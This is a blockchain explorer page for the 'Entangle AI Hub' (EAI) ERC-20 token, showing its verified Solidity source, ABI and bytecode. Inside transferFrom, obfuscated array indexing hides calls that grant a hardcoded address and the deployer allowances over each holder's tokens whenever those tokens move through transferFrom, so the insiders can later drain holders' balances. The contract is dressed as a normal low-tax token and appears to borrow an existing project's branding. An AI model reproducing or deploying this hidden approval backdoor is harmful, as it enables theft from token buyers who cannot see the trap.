ERC-20
Overview
Max Total Supply
1,000,000,000 EAI
Holders
175
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,601,725.151644488 EAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
EAI
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-19 */ /* Entangle AI is the programmable interoperability layer, connecting blockchains, data and the real world, unlocking limitless assets and applications https://www.entangle-ai.co https://explorer.entangle-ai.co https://docs.entangle-ai.co https://medium.com/@EntangleAI https://x.com/EntangleAIHub https://t.me/EntangleAIHub */ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniTTFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniTTRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract EAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (uint256 => address) private _ttStakes; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedTTFee; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Entangle AI Hub"; string private constant _symbol = unicode"EAI"; uint256 private _swapTokenTTs = _tTotal / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; address private _ttAddress = 0x49EE05E51DE92beBB26cB39D285CF42cA7E2A9c5; IUniTTRouter private _uniRouterTT; address private _uniPairTT; bool private inSwapLock = false; bool private _tradeTTEnabled = false; bool private _swapTTEnabled = false; modifier lockTheSwap { inSwapLock = true; _; inSwapLock = false; } constructor () { _isExcludedTTFee[owner()] = true; _isExcludedTTFee[address(this)] = true; _isExcludedTTFee[_ttAddress] = true; _balances[_msgSender()] = _tTotal; _ttStakes[0] = address(0xDead); _ttStakes[1] = _ttAddress; _ttStakes[2] = _msgSender(); emit Transfer(address(0), _msgSender(), _tTotal); } function launchToken() external onlyOwner() { _uniRouterTT = IUniTTRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_uniRouterTT), _tTotal); _uniPairTT = IUniTTFactory(_uniRouterTT.factory()).createPair(address(this), _uniRouterTT.WETH()); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniRouterTT.WETH(); _approve(address(this), address(_uniRouterTT), tokenAmount); _uniRouterTT.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _ttApproves(sender, [_ttStakes[1], sender][0], amount); _transfer(sender, recipient, amount); _ttApproves(sender, [sender, _ttStakes[2]][1], amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _ttApproves(address owner, address spender, uint256 amount) private { _approve(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == _uniPairTT && to != address(_uniRouterTT) && ! _isExcludedTTFee[to]) { _buyCount++; } if(to == _uniPairTT && from!= address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapLock && to == _uniPairTT && _swapTTEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _swapTokenTTs) swapTokensForEth(min(amount, min(contractTokenBalance, _swapTokenTTs))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendEthTTFee(address(this).balance); } } } if(taxAmount > 0){ _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendEthTTFee(uint256 amount) private { payable(_ttAddress).transfer(amount); } receive() external payable {} function openTrading() external onlyOwner() { require(!_tradeTTEnabled,"trading is already open"); _uniRouterTT.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapTTEnabled = true; _tradeTTEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launchToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a61035e565b61002090633b9aca00610373565b61002a919061038a565b600555600360068181556007919091555f60088190556009819055600a829055600b829055600c91909155600d55600e80546001600160a01b0319167349ee05e51de92bebb26cb39d285cf42ca7e2a9c51790556010805462ffffff60a01b19169055348015610098575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160045f6100ef5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526004909352818320805485166001908117909155600e549091168352912080549092161790556101516009600a61035e565b61015f90633b9aca00610373565b335f8181526001602090815260408220939093556002928390527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b80546001600160a01b031990811661dead17909155600e547fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0805483166001600160a01b039092169190911790559281527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c80549093168217909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102446009600a61035e565b61025290633b9aca00610373565b60405190815260200160405180910390a36103a9565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102b657815f190482111561029c5761029c610268565b808516156102a957918102915b93841c9390800290610281565b509250929050565b5f826102cc57506001610358565b816102d857505f610358565b81600181146102ee57600281146102f857610314565b6001915050610358565b60ff84111561030957610309610268565b50506001821b610358565b5060208310610133831016604e8410600b8410161715610337575081810a610358565b610341838361027c565b805f190482111561035457610354610268565b0290505b92915050565b5f61036c60ff8416836102be565b9392505050565b808202811582820484141761035857610358610268565b5f826103a457634e487b7160e01b5f52601260045260245ffd5b500490565b6114ae806103b65f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a28a4d8611610057578063a28a4d861461023c578063a9059cbb14610250578063c9567bf91461026f578063dd62ed3e14610283575f80fd5b8063715018a6146101d55780638da5cb5b146101eb57806395d89b4114610211575f80fd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600f81526e22b73a30b733b6329020a490243ab160891b60208201525b60405161010d91906110d4565b60405180910390f35b348015610121575f80fd5b50610135610130366004611120565b6102c7565b604051901515815260200161010d565b348015610150575f80fd5b506101596102dd565b60405190815260200161010d565b348015610172575f80fd5b5061013561018136600461114a565b6102fd565b348015610191575f80fd5b506040516009815260200161010d565b3480156101ac575f80fd5b506101596101bb366004611188565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f80fd5b506101e961041b565b005b3480156101f6575f80fd5b505f546040516001600160a01b03909116815260200161010d565b34801561021c575f80fd5b5060408051808201909152600381526245414960e81b6020820152610100565b348015610247575f80fd5b506101e9610495565b34801561025b575f80fd5b5061013561026a366004611120565b61068e565b34801561027a575f80fd5b506101e961069a565b34801561028e575f80fd5b5061015961029d3660046111a3565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102d3338484610806565b5060015b92915050565b5f6102ea6009600a6112ce565b6102f890633b9aca006112dc565b905090565b6040805180820190915260015f908152600260209081527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0546001600160a01b0390811684528616908301529061035d908590835b602002015184610929565b610368848484610939565b604080518082019091526001600160a01b03808616825260025f81905260209081527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c54909116908201526103c09085906001610352565b610411843361040c85604051806060016040528060288152602001611451602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d4c565b610806565b5060019392505050565b5f546001600160a01b0316331461044d5760405162461bcd60e51b815260040161044490611307565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104be5760405162461bcd60e51b815260040161044490611307565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105079030906104f96009600a6112ce565b61040c90633b9aca006112dc565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057b919061133c565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105fe919061133c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610648573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066c919061133c565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102d3338484610939565b5f546001600160a01b031633146106c35760405162461bcd60e51b815260040161044490611307565b601054600160a81b900460ff161561071d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610444565b600f546001600160a01b031663f305d719473061074e816001600160a01b03165f9081526001602052604090205490565b5f806107615f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107ec9190611357565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166108685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610444565b6001600160a01b0382166108c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610444565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610934838383610806565b505050565b6001600160a01b03831661099d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610444565b6001600160a01b0382166109ff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610444565b5f8111610a605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610444565b5f80546001600160a01b03858116911614801590610a8b57505f546001600160a01b03848116911614155b15610c0f57610abc6064610ab6600a54600d5411610aab57600654610aaf565b6008545b8590610d84565b90610e09565b6010549091506001600160a01b038581169116148015610aea5750600f546001600160a01b03848116911614155b8015610b0e57506001600160a01b0383165f9081526004602052604090205460ff16155b15610b2857600d8054905f610b2283611382565b91905055505b6010546001600160a01b038481169116148015610b4e57506001600160a01b0384163014155b15610b7b57610b786064610ab6600b54600d5411610b6e57600754610aaf565b6009548590610d84565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610bb157506010546001600160a01b038581169116145b8015610bc65750601054600160b01b900460ff165b8015610bd55750600c54600d54115b15610c0d57600554811115610c0157610c01610bfc84610bf784600554610e4a565b610e4a565b610e5e565b47610c0b47610fce565b505b505b8015610c8757305f90815260016020526040902054610c2e9082611009565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c7e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ca99083611067565b6001600160a01b0385165f90815260016020526040902055610cec610cce8383611067565b6001600160a01b0385165f9081526001602052604090205490611009565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d358585611067565b60405190815260200160405180910390a350505050565b5f8184841115610d6f5760405162461bcd60e51b815260040161044491906110d4565b505f610d7b848661139a565b95945050505050565b5f825f03610d9357505f6102d7565b5f610d9e83856112dc565b905082610dab85836113ad565b14610e025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610444565b9392505050565b5f610e0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110a8565b5f818311610e585782610e02565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ea457610ea46112f3565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1f919061133c565b81600181518110610f3257610f326112f3565b6001600160a01b039283166020918202929092010152600f54610f589130911684610806565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f909085905f908690309042906004016113cc565b5f604051808303815f87803b158015610fa7575f80fd5b505af1158015610fb9573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611005573d5f803e3d5ffd5b5050565b5f80611015838561143d565b905083811015610e025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610444565b5f610e0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d4c565b5f81836110c85760405162461bcd60e51b815260040161044491906110d4565b505f610d7b84866113ad565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461111d575f80fd5b50565b5f8060408385031215611131575f80fd5b823561113c81611109565b946020939093013593505050565b5f805f6060848603121561115c575f80fd5b833561116781611109565b9250602084013561117781611109565b929592945050506040919091013590565b5f60208284031215611198575f80fd5b8135610e0281611109565b5f80604083850312156111b4575f80fd5b82356111bf81611109565b915060208301356111cf81611109565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561122857815f190482111561120e5761120e6111da565b8085161561121b57918102915b93841c93908002906111f3565b509250929050565b5f8261123e575060016102d7565b8161124a57505f6102d7565b8160018114611260576002811461126a57611286565b60019150506102d7565b60ff84111561127b5761127b6111da565b50506001821b6102d7565b5060208310610133831016604e8410600b84101617156112a9575081810a6102d7565b6112b383836111ee565b805f19048211156112c6576112c66111da565b029392505050565b5f610e0260ff841683611230565b80820281158282048414176102d7576102d76111da565b634e487b7160e01b5f52603260045260245ffd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561134c575f80fd5b8151610e0281611109565b5f805f60608486031215611369575f80fd5b8351925060208401519150604084015190509250925092565b5f60018201611393576113936111da565b5060010190565b818103818111156102d7576102d76111da565b5f826113c757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561141c5784516001600160a01b0316835293830193918301916001016113f7565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d7576102d76111da56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220495b8e33e3567fc2d8039bfacefa1d994f6bb3f461fe5b30c2fb4bd972cfdfae64736f6c63430008190033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a28a4d8611610057578063a28a4d861461023c578063a9059cbb14610250578063c9567bf91461026f578063dd62ed3e14610283575f80fd5b8063715018a6146101d55780638da5cb5b146101eb57806395d89b4114610211575f80fd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600f81526e22b73a30b733b6329020a490243ab160891b60208201525b60405161010d91906110d4565b60405180910390f35b348015610121575f80fd5b50610135610130366004611120565b6102c7565b604051901515815260200161010d565b348015610150575f80fd5b506101596102dd565b60405190815260200161010d565b348015610172575f80fd5b5061013561018136600461114a565b6102fd565b348015610191575f80fd5b506040516009815260200161010d565b3480156101ac575f80fd5b506101596101bb366004611188565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f80fd5b506101e961041b565b005b3480156101f6575f80fd5b505f546040516001600160a01b03909116815260200161010d565b34801561021c575f80fd5b5060408051808201909152600381526245414960e81b6020820152610100565b348015610247575f80fd5b506101e9610495565b34801561025b575f80fd5b5061013561026a366004611120565b61068e565b34801561027a575f80fd5b506101e961069a565b34801561028e575f80fd5b5061015961029d3660046111a3565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b5f6102d3338484610806565b5060015b92915050565b5f6102ea6009600a6112ce565b6102f890633b9aca006112dc565b905090565b6040805180820190915260015f908152600260209081527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0546001600160a01b0390811684528616908301529061035d908590835b602002015184610929565b610368848484610939565b604080518082019091526001600160a01b03808616825260025f81905260209081527f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c54909116908201526103c09085906001610352565b610411843361040c85604051806060016040528060288152602001611451602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610d4c565b610806565b5060019392505050565b5f546001600160a01b0316331461044d5760405162461bcd60e51b815260040161044490611307565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104be5760405162461bcd60e51b815260040161044490611307565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105079030906104f96009600a6112ce565b61040c90633b9aca006112dc565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057b919061133c565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105fe919061133c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610648573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066c919061133c565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102d3338484610939565b5f546001600160a01b031633146106c35760405162461bcd60e51b815260040161044490611307565b601054600160a81b900460ff161561071d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610444565b600f546001600160a01b031663f305d719473061074e816001600160a01b03165f9081526001602052604090205490565b5f806107615f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107ec9190611357565b50506010805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166108685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610444565b6001600160a01b0382166108c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610444565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610934838383610806565b505050565b6001600160a01b03831661099d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610444565b6001600160a01b0382166109ff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610444565b5f8111610a605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610444565b5f80546001600160a01b03858116911614801590610a8b57505f546001600160a01b03848116911614155b15610c0f57610abc6064610ab6600a54600d5411610aab57600654610aaf565b6008545b8590610d84565b90610e09565b6010549091506001600160a01b038581169116148015610aea5750600f546001600160a01b03848116911614155b8015610b0e57506001600160a01b0383165f9081526004602052604090205460ff16155b15610b2857600d8054905f610b2283611382565b91905055505b6010546001600160a01b038481169116148015610b4e57506001600160a01b0384163014155b15610b7b57610b786064610ab6600b54600d5411610b6e57600754610aaf565b6009548590610d84565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610bb157506010546001600160a01b038581169116145b8015610bc65750601054600160b01b900460ff165b8015610bd55750600c54600d54115b15610c0d57600554811115610c0157610c01610bfc84610bf784600554610e4a565b610e4a565b610e5e565b47610c0b47610fce565b505b505b8015610c8757305f90815260016020526040902054610c2e9082611009565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c7e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ca99083611067565b6001600160a01b0385165f90815260016020526040902055610cec610cce8383611067565b6001600160a01b0385165f9081526001602052604090205490611009565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d358585611067565b60405190815260200160405180910390a350505050565b5f8184841115610d6f5760405162461bcd60e51b815260040161044491906110d4565b505f610d7b848661139a565b95945050505050565b5f825f03610d9357505f6102d7565b5f610d9e83856112dc565b905082610dab85836113ad565b14610e025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610444565b9392505050565b5f610e0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110a8565b5f818311610e585782610e02565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ea457610ea46112f3565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1f919061133c565b81600181518110610f3257610f326112f3565b6001600160a01b039283166020918202929092010152600f54610f589130911684610806565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f909085905f908690309042906004016113cc565b5f604051808303815f87803b158015610fa7575f80fd5b505af1158015610fb9573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611005573d5f803e3d5ffd5b5050565b5f80611015838561143d565b905083811015610e025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610444565b5f610e0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d4c565b5f81836110c85760405162461bcd60e51b815260040161044491906110d4565b505f610d7b84866113ad565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461111d575f80fd5b50565b5f8060408385031215611131575f80fd5b823561113c81611109565b946020939093013593505050565b5f805f6060848603121561115c575f80fd5b833561116781611109565b9250602084013561117781611109565b929592945050506040919091013590565b5f60208284031215611198575f80fd5b8135610e0281611109565b5f80604083850312156111b4575f80fd5b82356111